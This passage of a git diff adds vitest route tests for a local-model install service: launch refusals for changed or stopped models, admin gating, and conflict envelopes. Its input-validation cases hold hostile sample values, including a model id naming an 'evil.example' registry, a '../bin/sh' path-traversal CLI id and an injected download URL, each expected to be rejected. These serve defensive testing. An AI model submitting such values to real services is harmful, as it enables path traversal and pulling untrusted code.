`customModel` (a session is created on it) + * + * call `LocalModelService.launchRefusalMessage(endpointId, modelId)` once the endpoint is + * found and before anything is written, restarted or created. A sentence back is the answer + * (`OPERATION_FAILED`); `undefined` lets the launch go on exactly as before. That is how a + * model whose digest is no longer the one stored at install time is not launched, and how + * nothing is launched against a port our runtime is not on. + * + * The service is replaced by a fake for most cases, and is the REAL one (over the real state + * file, with no runtime running) for the cases that pin the default wiring. + * + * Port: N/A (app.inject, no real port needed) + */ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import Fastify, { type FastifyInstance } from 'fastify'; +import fastifyCookie from '@fastify/cookie'; +import { rmSync, writeFileSync } from 'node:fs'; +import { rm } from 'node:fs/promises'; +import { join } from 'node:path'; +import { createMockRouteContext, safeRmHomeTree, type MockRouteContext } from '../mocks/index.js'; +import { createRouteTestHarness } from './_route-test-utils.js'; +import { installRouteErrorHandler } from '../../src/web/route-error-handler.js'; +import { registerSessionRoutes } from '../../src/web/routes/session-routes.js'; +import { dataPath, getDataDir } from '../../src/config/instance.js'; +import { CASES_DIR } from '../../src/web/route-helpers.js'; +import { Session } from '../../src/session.js'; +import { writeCustomModelHosts, type CustomModelHost } from '../../src/custom-model-hosts.js'; +import { webviewFetch } from '../../src/web/webview-egress.js'; +import type { LocalModelService } from '../../src/local-model/install-job.js'; + +vi.mock('../../src/web/webview-egress.js', async () => { + const actual = await vi.importActual( + '../../src/web/webview-egress.js' + ); + return { ...actual, webviewFetch: vi.fn() }; +}); +const fetchMock = vi.mocked(webviewFetch); + +// See test/routes/quick-start-custom-model.test.ts: the CLI availability gate runs before the +// code under test and would refuse every launch on a machine without the binary. +vi.mock('../../src/utils/cli-launcher.js', async () => { + const actual = await vi.importActual( + '../../src/utils/cli-launcher.js' + ); + return { ...actual, resolveCliLaunchError: vi.fn().mockResolvedValue(null) }; +}); + +/** The service the session routes get: a fake by default, the real one where a test says so. */ +const guard = vi.hoisted(() => ({ + launchRefusalMessage: vi.fn<(endpointId: string, modelId: string) => Promise>(), + real: undefined as LocalModelService | undefined, +})); +vi.mock('../../src/local-model/install-job.js', async () => { + const actual = await vi.importActual( + '../../src/local-model/install-job.js' + ); + return { + ...actual, + getLocalModelService: () => guard.real ?? { launchRefusalMessage: guard.launchRefusalMessage }, + }; +}); + +const MANAGED: CustomModelHost = { + id: 'local-ollama', + label: 'This Mac', + baseUrl: 'http://127.0.0.1:11435', + authStyle: 'bearer', + models: ['qwen3.6:35b-a3b'], + defaultModelId: 'qwen3.6:35b-a3b', + defaultContextLength: 131072, +}; + +const OTHER: CustomModelHost = { id: 'ep1', label: 'llama.cpp box', baseUrl: 'http://192.168.1.50:8080', apiKey: 'k' }; + +const CHANGED = 'The model on this Mac changed since it was installed. Remove it and install it again.'; +const STATE = () => dataPath('local-model.json'); + +/** The state file of an installed model whose connection is the managed record. */ +function writeInstalledState(): void { + writeFileSync( + STATE(), + JSON.stringify({ + schema: 1, + state: 'installed', + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072, digest: 'abc123' }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, enabled: true }, + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, + }) + ); +} + +async function realService(): Promise { + const actual = await vi.importActual( + '../../src/local-model/install-job.js' + ); + // The real service with its real state file. No runtime was ever started by it. + return actual.createLocalModelService(); +} + +beforeEach(async () => { + guard.launchRefusalMessage.mockReset(); + guard.launchRefusalMessage.mockResolvedValue(undefined); + guard.real = undefined; + fetchMock.mockReset(); + fetchMock.mockResolvedValue(new Response('not found', { status: 404 })); + await writeCustomModelHosts(getDataDir(), [MANAGED, OTHER]); +}); + +afterEach(async () => { + rmSync(STATE(), { force: true }); + await rm(join(getDataDir(), 'custom-model-hosts.json'), { force: true }); + await rm(join(getDataDir(), 'custom-model-configs'), { recursive: true, force: true }); +}); + +describe('POST /api/sessions/:id/custom-model on the managed endpoint', () => { + async function setup() { + const harness = await createRouteTestHarness(registerSessionRoutes); + const session = harness.ctx.sessions.get('test-session-1')!; + session.mode = 'claude'; + return { ...harness, session }; + } + + const apply = (app: FastifyInstance, payload: Record) => + app.inject({ method: 'POST', url: '/api/sessions/test-session-1/custom-model', payload }); + + it('asks the install service with the endpoint and the model, before anything is applied', async () => { + const { app, session } = await setup(); + const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }); + expect(res.statusCode).toBe(200); + expect(guard.launchRefusalMessage).toHaveBeenCalledTimes(1); + expect(guard.launchRefusalMessage).toHaveBeenCalledWith('local-ollama', 'qwen3.6:35b-a3b'); + // No refusal: the model is applied and the CLI restarted, as for any endpoint. + expect(session.setCustomModel).toHaveBeenCalledTimes(1); + expect(session.restartCli).toHaveBeenCalledTimes(1); + }); + + it('a changed model refuses the switch in one plain sentence, and nothing is written or restarted', async () => { + const { app, session } = await setup(); + guard.launchRefusalMessage.mockResolvedValue(CHANGED); + const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }); + expect(res.json()).toEqual({ success: false, error: CHANGED, errorCode: 'OPERATION_FAILED' }); + expect(session.setCustomModel).not.toHaveBeenCalled(); + expect(session.restartCli).not.toHaveBeenCalled(); + // The runtime was not even asked what it has loaded. + expect(fetchMock).not.toHaveBeenCalled(); + }); + + it('every other endpoint is asked about too, and the service lets it through', async () => { + const { app, session } = await setup(); + const res = await apply(app, { endpointId: 'ep1', modelId: 'qwen3' }); + expect(res.statusCode).toBe(200); + expect(guard.launchRefusalMessage).toHaveBeenCalledWith('ep1', 'qwen3'); + expect(session.setCustomModel).toHaveBeenCalledTimes(1); + }); + + it('clearing a selection is never refused: it is the way OFF the endpoint', async () => { + const { app, session } = await setup(); + guard.launchRefusalMessage.mockResolvedValue(CHANGED); + session.setCustomModel.mockReturnValue({ previousConfigDir: undefined }); + const res = await apply(app, { clear: true }); + expect(res.statusCode).toBe(200); + expect(guard.launchRefusalMessage).not.toHaveBeenCalled(); + expect(session.setCustomModel).toHaveBeenCalledWith(undefined); + }); + + it('an endpoint that does not exist is still a 404 of its own, asked about nothing', async () => { + const { app } = await setup(); + const res = await apply(app, { endpointId: 'nope', modelId: 'x' }); + expect(res.json()).toMatchObject({ success: false, errorCode: 'NOT_FOUND' }); + expect(guard.launchRefusalMessage).not.toHaveBeenCalled(); + }); + + describe('with the real install service', () => { + it('an installed model whose runtime is not running is not switched to', async () => { + writeInstalledState(); + guard.real = await realService(); + const { app, session } = await setup(); + const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }); + expect(res.json()).toEqual({ + success: false, + error: 'The model on this Mac is not running. Start it first.', + errorCode: 'OPERATION_FAILED', + }); + expect(session.setCustomModel).not.toHaveBeenCalled(); + }); + + it('a record with the reserved id that nobody installed is an endpoint like any other', async () => { + // No state file: this feature wrote nothing, so there is nothing of ours to guard. + guard.real = await realService(); + const { app, session } = await setup(); + const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }); + expect(res.statusCode).toBe(200); + expect(session.setCustomModel).toHaveBeenCalledTimes(1); + }); + + it('any other endpoint is untouched by an installed model', async () => { + writeInstalledState(); + guard.real = await realService(); + const { app, session } = await setup(); + const res = await apply(app, { endpointId: 'ep1', modelId: 'qwen3' }); + expect(res.statusCode).toBe(200); + expect(session.setCustomModel).toHaveBeenCalledTimes(1); + }); + }); +}); + +describe('POST /api/quick-start with customModel on the managed endpoint', () => { + let app: FastifyInstance; + let ctx: MockRouteContext; + + const quickStart = (payload: Record) => + app.inject({ method: 'POST', url: '/api/quick-start', payload }); + + beforeEach(async () => { + vi.spyOn(Session.prototype, 'startInteractive').mockResolvedValue(undefined); + vi.spyOn(Session.prototype, 'startShell').mockResolvedValue(undefined); + vi.spyOn(Session.prototype, 'restartCli').mockResolvedValue(true); + app = Fastify({ logger: false }); + await app.register(fastifyCookie); + ctx = createMockRouteContext(); + registerSessionRoutes(app, ctx); + installRouteErrorHandler(app); + await app.ready(); + }); + + afterEach(async () => { + await app.close(); + vi.restoreAllMocks(); + safeRmHomeTree(CASES_DIR); + }); + + it('asks the install service, and with no refusal the session starts on the local model', async () => { + const before = ctx.sessions.size; + const res = await quickStart({ + caseName: 'lm-ok', + mode: 'claude', + customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }, + }); + expect(res.statusCode).toBe(200); + expect(res.json().sessionId).toBeTruthy(); + expect(guard.launchRefusalMessage).toHaveBeenCalledWith('local-ollama', 'qwen3.6:35b-a3b'); + expect(ctx.sessions.size).toBe(before + 1); + const session = ctx.sessions.get(res.json().sessionId) as unknown as Session; + expect(session.customModel).toMatchObject({ endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }); + }); + + it('a changed model refuses the launch in one plain sentence, and no session is created', async () => { + guard.launchRefusalMessage.mockResolvedValue(CHANGED); + const before = ctx.sessions.size; + const res = await quickStart({ + caseName: 'lm-changed', + mode: 'claude', + customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }, + }); + expect(res.json()).toEqual({ success: false, error: CHANGED, errorCode: 'OPERATION_FAILED' }); + expect(ctx.sessions.size).toBe(before); + expect(Session.prototype.startInteractive).not.toHaveBeenCalled(); + expect(fetchMock).not.toHaveBeenCalled(); + }); + + it('a launch without a custom model never asks', async () => { + const res = await quickStart({ caseName: 'lm-plain', mode: 'claude' }); + expect(res.statusCode).toBe(200); + expect(guard.launchRefusalMessage).not.toHaveBeenCalled(); + }); + + describe('with the real install service', () => { + it('an installed model whose runtime is not running is not launched', async () => { + writeInstalledState(); + guard.real = await realService(); + const before = ctx.sessions.size; + const res = await quickStart({ + caseName: 'lm-stopped', + mode: 'claude', + customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }, + }); + expect(res.json()).toEqual({ + success: false, + error: 'The model on this Mac is not running. Start it first.', + errorCode: 'OPERATION_FAILED', + }); + expect(ctx.sessions.size).toBe(before); + }); + + it('a launch on any other endpoint goes on as before', async () => { + writeInstalledState(); + guard.real = await realService(); + const res = await quickStart({ + caseName: 'lm-other', + mode: 'claude', + customModel: { endpointId: 'ep1', modelId: 'qwen3' }, + }); + expect(res.statusCode).toBe(200); + expect(res.json().sessionId).toBeTruthy(); + expect(res.json().success).not.toBe(false); + }); + }); +}); diff --git a/test/routes/local-model-routes.test.ts b/test/routes/local-model-routes.test.ts index a3e7d31c..0ac50443 100644 --- a/test/routes/local-model-routes.test.ts +++ b/test/routes/local-model-routes.test.ts @@ -1,12 +1,17 @@ /** - * @fileoverview GET /api/local-model: what this Mac is and which local model fits it. + * @fileoverview The local model routes: GET /api/local-model (what this Mac is and which local + * model fits it, plus where the install stands) and the verbs that install, cancel, resume, + * start, stop and remove. * - * The route only composes four injected functions (the hardware probe, the catalogue getter, - * the harness facts and the pure `recommend()`), so every test passes its own and no test - * depends on what those modules compute. What is pinned here is the route's own contract: - * the envelope, the admin gate in multi-user mode, that an unsupported platform and a failed - * probe are answers (200) and never a 500, what does answer 500, and that a request writes - * nothing. + * The routes only compose injected functions (the hardware probe, the catalogue getter, the + * harness facts, the pure `recommend()` and the install service), so every test passes its own + * and no test depends on what those modules compute. What is pinned here is the routes' own + * contract: the envelope, the admin gate on EVERY verb in multi-user mode, that an unsupported + * platform and a failed probe are answers (200) and never a 500, what does answer 500, how a + * verb's refusal becomes a 400 or a 409 with its conflict, that DELETE hands the live sessions + * to the service, and that a GET with nothing installed writes nothing. + * + * The install service itself is tested in test/local-model-install-service.test.ts. * * Port: N/A (app.inject()). */ @@ -24,12 +29,22 @@ import { } from '../../src/web/routes/local-model-routes.js'; import { buildHarnessFacts } from '../../src/local-model/harness-facts.js'; import { formatGb, memClassGb } from '../../src/local-model/format.js'; -import { getDataDir } from '../../src/config/instance.js'; import { + createLocalModelService, + getLocalModelService, + type LocalModelService, + type LocalModelVerbResult, +} from '../../src/local-model/install-job.js'; +import { CustomModelHostsWriteRefusedError } from '../../src/custom-model-hosts-writer.js'; +import { SettingsWriteRefusedError } from '../../src/web/settings-writer.js'; +import { dataPath, getDataDir } from '../../src/config/instance.js'; +import { + LOCAL_MODEL_INSTALL_LABELS, LOCAL_MODEL_LABELS, type HardwareFacts, type HarnessFact, type LocalModelCatalog, + type LocalModelInstallView, type Recommendation, } from '../../src/types.js'; @@ -37,10 +52,6 @@ const CATALOG: LocalModelCatalog = { schema: 1, updated: '2026-11-06', minMacosMajor: 14, - promptCacheTiers: [ - { minMemGb: 0, bytes: 512 * 1024 * 1024 }, - { minMemGb: 32, bytes: 2 * 1024 ** 3 }, - ], models: [], harnesses: [ { cli: 'opencode', minContext: 65536, rank: 3 }, @@ -111,6 +122,10 @@ const OK: Recommendation = { speed: 'unknown', speedLabel: LOCAL_MODEL_LABELS.speedUnknown, tested: false, + needSource: 'estimated', + harnesses: [{ cli: 'opencode', cliLabel: 'OpenCode', installed: true }], + installBytes: 17740000000, + installGb: '17.7', }, alternatives: [], budgetBytes: 37580963840, @@ -133,12 +148,58 @@ const FACTS: HarnessFact[] = [ { cli: 'opencode', label: 'OpenCode', installed: true, installable: false, acceptsModelId: () => true }, ]; +/** The install view of a Mac with nothing installed, as the service would answer it. */ +const IDLE_VIEW: LocalModelInstallView = { + state: 'idle', + running: false, + developerTools: 'missing', + runtime: { version: '0.40.15', installed: false, downloadBytes: 185971671, downloadGb: '0.2', unpackedGb: '0.6' }, + folder: '/Users/me/.codeman/local-model', + actions: ['install'], +}; + +const INSTALLING_VIEW: LocalModelInstallView = { + ...IDLE_VIEW, + state: 'installing', + step: 'runtime', + steps: ['runtime', 'model', 'verify', 'agent', 'connect'], + model: { id: 'qwen3.8:27b', label: 'Qwen3.8 27B' }, + cli: 'opencode', + cliLabel: 'OpenCode', + context: 131072, + actions: ['cancel'], +}; + +const OK_RESULT: LocalModelVerbResult = { ok: true, view: INSTALLING_VIEW }; + +type ServiceMock = { [K in keyof LocalModelService]: Mock }; + +/** An install service whose every verb answers `OK_RESULT` and whose view is idle. */ +function fakeService(): ServiceMock { + return { + view: vi.fn(async () => IDLE_VIEW), + launchRefusal: vi.fn(async () => undefined), + launchRefusalMessage: vi.fn(async () => undefined), + recommendOptions: vi.fn(async () => ({ runtimeDownloadBytes: 185971671 })), + install: vi.fn(async () => OK_RESULT), + cancel: vi.fn(async () => OK_RESULT), + resume: vi.fn(async () => OK_RESULT), + runtime: vi.fn(async () => OK_RESULT), + remove: vi.fn(async () => OK_RESULT), + boot: vi.fn(async () => {}), + shutdown: vi.fn(async () => {}), + onRuntimeChange: vi.fn(), + idle: vi.fn(async () => {}), + }; +} + interface Fakes { deps: LocalModelRouteDeps; readHardware: Mock; getCatalog: Mock; buildHarnessFacts: Mock; recommend: Mock; + service: ServiceMock; } function fakes(hardware: HardwareFacts = MAC, recommendation: Recommendation = OK): Fakes { @@ -146,17 +207,28 @@ function fakes(hardware: HardwareFacts = MAC, recommendation: Recommendation = O const getCatalog = vi.fn(() => CATALOG); const buildFacts = vi.fn(async () => FACTS); const recommend = vi.fn(() => recommendation); + const service = fakeService(); return { - deps: { readHardware, getCatalog, buildHarnessFacts: buildFacts, recommend }, + deps: { readHardware, getCatalog, buildHarnessFacts: buildFacts, recommend, service: () => service }, readHardware, getCatalog, buildHarnessFacts: buildFacts, recommend, + service, }; } -const harness = (deps: Partial, authUser?: { username: string; role: 'admin' | 'user' }) => - createRouteTestHarness((app) => registerLocalModelRoutes(app, deps), authUser ? { authUser } : undefined); +type AuthUser = { username: string; role: 'admin' | 'user' }; + +/** The live sessions the DELETE looks at: a name, and for some the endpoint their model comes from. */ +type SessionLike = { name: string; customModel?: { endpointId: string } }; + +const harness = (deps: Partial, authUser?: AuthUser, sessions: SessionLike[] = []) => + createRouteTestHarness( + (app) => + registerLocalModelRoutes(app, { sessions: new Map(sessions.map((session, i) => [`s${i}`, session])) }, deps), + authUser ? { authUser } : undefined + ); const get = async (deps: Partial, authUser?: { username: string; role: 'admin' | 'user' }) => { const { app } = await harness(deps, authUser); @@ -191,10 +263,30 @@ describe('GET /api/local-model', () => { expect(res.statusCode).toBe(200); expect(res.json()).toEqual({ success: true, - data: { hardware: MAC, recommendation: OK, catalogUpdated: '2026-11-06' }, + data: { hardware: MAC, recommendation: OK, catalogUpdated: '2026-11-06', install: IDLE_VIEW }, }); }); + it('recommends with what the install service knows: the measured budget and the runtime still to download', async () => { + const f = fakes(); + f.service.recommendOptions.mockResolvedValue({ measuredTotalBytes: 40_157_944_217, runtimeDownloadBytes: 0 }); + await get(f.deps); + expect(f.service.recommendOptions).toHaveBeenCalledTimes(1); + expect(f.recommend.mock.calls[0][3]).toEqual({ measuredTotalBytes: 40_157_944_217, runtimeDownloadBytes: 0 }); + }); + + it('carries the install view of the service as it is, in every state', async () => { + const f = fakes(); + f.service.view.mockResolvedValue(INSTALLING_VIEW); + const res = await get(f.deps); + expect(res.json().data.install).toEqual(INSTALLING_VIEW); + expect(f.service.view).toHaveBeenCalledTimes(1); + // Looking is not doing: no verb of the service was called. + for (const verb of ['install', 'cancel', 'resume', 'runtime', 'remove', 'boot', 'shutdown'] as const) { + expect(f.service[verb]).not.toHaveBeenCalled(); + } + }); + it('hands recommend() exactly what the probe, the catalogue and the harness facts answered', async () => { const f = fakes(); await get(f.deps); @@ -211,7 +303,7 @@ describe('GET /api/local-model', () => { it('sends the payload as the modules built it: no size is reformatted and no function leaks', async () => { const res = await get(fakes().deps); const { data } = res.json(); - expect(Object.keys(data).sort()).toEqual(['catalogUpdated', 'hardware', 'recommendation']); + expect(Object.keys(data).sort()).toEqual(['catalogUpdated', 'hardware', 'install', 'recommendation']); expect(data.hardware.memGb).toBe('51.5'); expect(data.hardware.freeDiskGb).toBe('912'); expect(data.recommendation.pick.needGb).toBe('29.6'); @@ -221,10 +313,13 @@ describe('GET /api/local-model', () => { expect(res.body).not.toContain('installable'); }); - it('registers a GET and nothing else: this stage has no route that changes anything', async () => { - const { app } = await harness(fakes().deps); - expect((await app.inject({ method: 'POST', url: '/api/local-model', payload: {} })).statusCode).toBe(404); - expect((await app.inject({ method: 'DELETE', url: '/api/local-model' })).statusCode).toBe(404); + it('is the only thing a GET does: there is no POST, PUT or PATCH on the same path', async () => { + const f = fakes(); + const { app } = await harness(f.deps); + for (const method of ['POST', 'PUT', 'PATCH'] as const) { + expect((await app.inject({ method, url: '/api/local-model', payload: {} })).statusCode).toBe(404); + } + expect(f.service.install).not.toHaveBeenCalled(); }); describe('multi-user mode', () => { @@ -239,6 +334,8 @@ describe('GET /api/local-model', () => { expect(f.getCatalog).not.toHaveBeenCalled(); expect(f.buildHarnessFacts).not.toHaveBeenCalled(); expect(f.recommend).not.toHaveBeenCalled(); + expect(f.service.view).not.toHaveBeenCalled(); + expect(f.service.recommendOptions).not.toHaveBeenCalled(); }); it('answers an admin', async () => { @@ -364,9 +461,16 @@ describe('GET /api/local-model', () => { describe('read-only', () => { it('writes nothing: the home directory and the data dir are byte for byte what they were', async () => { // The real harness facts (they read the CLI registry and run the availability probe), - // the route's own composition, and a hardware answer and a recommendation of the test's. + // the REAL install service over the real state file (nothing is installed, so its view + // is idle), the route's own composition, and a hardware answer and a recommendation of + // the test's. const f = fakes(); - const { app } = await harness({ ...f.deps, buildHarnessFacts: (catalog) => buildHarnessFacts(catalog) }); + const service = createLocalModelService(); + const { app } = await harness({ + ...f.deps, + buildHarnessFacts: (catalog) => buildHarnessFacts(catalog), + service: () => service, + }); const home = homedir(); const before = snapshot(home); @@ -375,6 +479,7 @@ describe('GET /api/local-model', () => { for (let i = 0; i < 3; i++) { const res = await app.inject({ method: 'GET', url: '/api/local-model' }); expect(res.statusCode).toBe(200); + expect(res.json().data.install).toMatchObject({ state: 'idle', running: false, actions: ['install'] }); } // A refused request and a failing one write nothing either. f.recommend.mockImplementationOnce(() => { @@ -405,8 +510,28 @@ describe('GET /api/local-model', () => { const server = readFileSync(join(root, 'src/web/server.ts'), 'utf8'); const barrel = readFileSync(join(root, 'src/web/routes/index.ts'), 'utf8'); expect(barrel).toContain("export { registerLocalModelRoutes } from './local-model-routes.js';"); - // No second argument: the server runs the real probe, catalogue, facts and recommend(). - expect(server).toContain('registerLocalModelRoutes(this.app);'); + // The route context for the live sessions, and no third argument: the server runs the + // real probe, catalogue, facts, recommend() and install service. + expect(server).toContain('registerLocalModelRoutes(this.app, ctx);'); + }); + + it('the server starts the install service at boot and stops it at shutdown, outside tests only', () => { + const root = fileURLToPath(new URL('../../', import.meta.url)); + const server = readFileSync(join(root, 'src/web/server.ts'), 'utf8'); + const boot = server.indexOf('void getLocalModelService().boot();'); + const shutdown = server.indexOf('void getLocalModelService().shutdown();'); + expect(boot).toBeGreaterThan(-1); + expect(shutdown).toBeGreaterThan(-1); + // Each sits in a block that tests never enter: nothing of the runtime runs under vitest. + for (const at of [boot, shutdown]) { + const before = server.slice(0, at).trimEnd(); + expect(before.endsWith('if (!this.testMode) {')).toBe(true); + } + // Shutdown stands beside the other supervised child's stop. + const deepseek = server.indexOf('void stopDeepSeekWeb();'); + expect(deepseek).toBeGreaterThan(-1); + expect(shutdown).toBeGreaterThan(deepseek); + expect(shutdown - deepseek).toBeLessThan(700); }); it('the default dependencies are the real modules, read at call time', () => { @@ -415,8 +540,406 @@ describe('GET /api/local-model', () => { 'getCatalog', 'readHardware', 'recommend', + 'service', ]); for (const dep of Object.values(defaultLocalModelRouteDeps)) expect(typeof dep).toBe('function'); + // The one install service of the process, the same object every time. + expect(defaultLocalModelRouteDeps.service()).toBe(getLocalModelService()); }); }); }); + +describe('the install verbs', () => { + const INSTALL_BODY = { modelId: 'qwen3.8:27b', cli: 'opencode', context: 131072, acknowledgedBytes: 17926000000 }; + + /** Every verb as a request, with a body the route accepts. */ + const VERBS = [ + { name: 'install', method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY }, + { name: 'cancel', method: 'POST', url: '/api/local-model/cancel', payload: undefined }, + { name: 'resume', method: 'POST', url: '/api/local-model/resume', payload: {} }, + { name: 'runtime', method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } }, + { name: 'remove', method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } }, + ] as const; + + const call = (app: Awaited>['app'], verb: (typeof VERBS)[number]) => + app.inject({ method: verb.method, url: verb.url, ...(verb.payload ? { payload: verb.payload } : {}) }); + + describe.each(VERBS)('$method $url', (verb) => { + it('answers the view after the verb in the success envelope', async () => { + const f = fakes(); + const { app } = await harness(f.deps); + const res = await call(app, verb); + expect(res.statusCode).toBe(200); + expect(res.json()).toEqual({ success: true, data: INSTALLING_VIEW }); + expect(f.service[verb.name]).toHaveBeenCalledTimes(1); + }); + + it('multi-user mode: a non-admin is refused with 403 before the service is asked anything', async () => { + process.env.CODEMAN_MULTIUSER = '1'; + const f = fakes(); + const { app } = await harness(f.deps, { username: 'bob', role: 'user' }); + const res = await call(app, verb); + expect(res.statusCode).toBe(403); + expect(res.json()).toMatchObject({ success: false, errorCode: 'FORBIDDEN' }); + for (const name of ['install', 'cancel', 'resume', 'runtime', 'remove', 'view', 'recommendOptions'] as const) { + expect(f.service[name]).not.toHaveBeenCalled(); + } + }); + + it('multi-user mode: the gate comes before the body is even parsed', async () => { + process.env.CODEMAN_MULTIUSER = '1'; + const f = fakes(); + const { app } = await harness(f.deps, { username: 'bob', role: 'user' }); + const res = await app.inject({ method: verb.method, url: verb.url, payload: { nonsense: true } }); + expect(res.statusCode).toBe(403); + }); + + it('multi-user mode: an admin is served', async () => { + process.env.CODEMAN_MULTIUSER = '1'; + const f = fakes(); + const { app } = await harness(f.deps, { username: 'root', role: 'admin' }); + expect((await call(app, verb)).statusCode).toBe(200); + expect(f.service[verb.name]).toHaveBeenCalledTimes(1); + }); + + it('is not gated while multi-user mode is off', async () => { + const f = fakes(); + const { app } = await harness(f.deps, { username: 'bob', role: 'user' }); + expect((await call(app, verb)).statusCode).toBe(200); + }); + + it('a 409 of the service is the error envelope plus the conflict as data', async () => { + const f = fakes(); + f.service[verb.name].mockResolvedValue({ + ok: false, + status: 409, + conflict: { reason: 'job-running', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning } }, + }); + const { app } = await harness(f.deps); + const res = await call(app, verb); + expect(res.statusCode).toBe(409); + expect(res.json()).toEqual({ + success: false, + error: 'An install is already running.', + errorCode: 'CONFLICT', + data: { reason: 'job-running', message: { text: 'An install is already running.' } }, + }); + }); + + it('an exception of the service is a 500 in the envelope', async () => { + const f = fakes(); + f.service[verb.name].mockRejectedValue(new Error('disk on fire')); + const { app } = await harness(f.deps); + const res = await call(app, verb); + expect(res.statusCode).toBe(500); + expect(res.json()).toMatchObject({ success: false, errorCode: 'INTERNAL_ERROR' }); + expect(res.json().error).toContain('disk on fire'); + }); + + it.each([ + ['the endpoint store', new CustomModelHostsWriteRefusedError('custom-model-hosts.json is not a valid JSON list')], + ['the settings file', new SettingsWriteRefusedError('settings.json is not a valid JSON object')], + ])('a refused write of %s is a 409 with the fix and no conflict data', async (_label, error) => { + const f = fakes(); + f.service[verb.name].mockRejectedValue(error); + const { app } = await harness(f.deps); + const res = await call(app, verb); + expect(res.statusCode).toBe(409); + expect(res.json()).toEqual({ success: false, error: error.message, errorCode: 'CONFLICT' }); + }); + }); + + describe('POST /api/local-model/install', () => { + it('hands the service the four choices and who asked', async () => { + const f = fakes(); + const { app } = await harness(f.deps, { username: 'alice', role: 'admin' }); + await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY }); + expect(f.service.install).toHaveBeenCalledWith(INSTALL_BODY, { username: 'alice', ip: '127.0.0.1' }); + }); + + it('a row the server does not offer is a 400 with the service own sentence', async () => { + const f = fakes(); + f.service.install.mockResolvedValue({ + ok: false, + status: 400, + message: 'This model at this context is not offered for this Mac right now.', + }); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY }); + expect(res.statusCode).toBe(400); + expect(res.json()).toEqual({ + success: false, + error: 'This model at this context is not offered for this Mac right now.', + errorCode: 'INVALID_INPUT', + }); + }); + + it('consent bound to the size: the 409 carries the server own total, so the window can ask again', async () => { + const f = fakes(); + f.service.install.mockResolvedValue({ + ok: false, + status: 409, + conflict: { + reason: 'size-changed', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged, vars: { size: '23.3' } }, + expectedBytes: 23291770627, + expectedGb: '23.3', + }, + }); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY }); + expect(res.statusCode).toBe(409); + expect(res.json()).toEqual({ + success: false, + error: 'The download is 23.3 GB now. Check the sizes and confirm again.', + errorCode: 'CONFLICT', + data: { + reason: 'size-changed', + message: { + text: 'The download is {size} GB now. Check the sizes and confirm again.', + vars: { size: '23.3' }, + }, + expectedBytes: 23291770627, + expectedGb: '23.3', + }, + }); + }); + + it.each([ + ['no body', undefined], + ['a missing size', { modelId: 'qwen3.8:27b', cli: 'opencode', context: 131072 }], + ['a model id with a registry host in it', { ...INSTALL_BODY, modelId: 'evil.example/x/y:z' }], + ['a model id without a tag', { ...INSTALL_BODY, modelId: 'qwen3.8' }], + ['an upper-case model id', { ...INSTALL_BODY, modelId: 'Qwen3.8:27B' }], + ['a coding agent id with a space', { ...INSTALL_BODY, cli: 'open code' }], + ['a coding agent id that is a path', { ...INSTALL_BODY, cli: '../bin/sh' }], + ['a context of zero', { ...INSTALL_BODY, context: 0 }], + ['a context that is not a whole number', { ...INSTALL_BODY, context: 1.5 }], + ['a negative size', { ...INSTALL_BODY, acknowledgedBytes: -1 }], + ['a size as text', { ...INSTALL_BODY, acknowledgedBytes: '17926000000' }], + ['a member nobody defined', { ...INSTALL_BODY, url: 'https://example.invalid/ollama.tgz' }], + ])('%s is a 400 before the service is asked', async (_label, payload) => { + const f = fakes(); + const { app } = await harness(f.deps); + const res = await app.inject({ + method: 'POST', + url: '/api/local-model/install', + ...(payload ? { payload } : {}), + }); + expect(res.statusCode).toBe(400); + expect(res.json()).toMatchObject({ success: false, errorCode: 'INVALID_INPUT' }); + expect(f.service.install).not.toHaveBeenCalled(); + }); + }); + + describe('POST /api/local-model/resume and /runtime', () => { + it('resume takes no body, an empty one, or newPort', async () => { + const f = fakes(); + const { app } = await harness(f.deps); + await app.inject({ method: 'POST', url: '/api/local-model/resume' }); + await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} }); + await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: { newPort: true } }); + expect(f.service.resume.mock.calls.map(([body]) => body)).toEqual([{}, {}, { newPort: true }]); + expect(f.service.resume.mock.calls[0][1]).toEqual({ username: 'admin', ip: '127.0.0.1' }); + }); + + it('resume refuses a body it does not know', async () => { + const f = fakes(); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: { port: 80 } }); + expect(res.statusCode).toBe(400); + expect(f.service.resume).not.toHaveBeenCalled(); + }); + + it('runtime takes start or stop, and newPort with it', async () => { + const f = fakes(); + const { app } = await harness(f.deps); + await app.inject({ + method: 'POST', + url: '/api/local-model/runtime', + payload: { action: 'start', newPort: true }, + }); + await app.inject({ method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } }); + expect(f.service.runtime.mock.calls.map(([body]) => body)).toEqual([ + { action: 'start', newPort: true }, + { action: 'stop' }, + ]); + }); + + it.each([ + ['no body', undefined], + ['no action', {}], + ['an action that is neither', { action: 'restart' }], + ['a port number of the caller own choosing', { action: 'start', port: 22 }], + ])('runtime with %s is a 400', async (_label, payload) => { + const f = fakes(); + const { app } = await harness(f.deps); + const res = 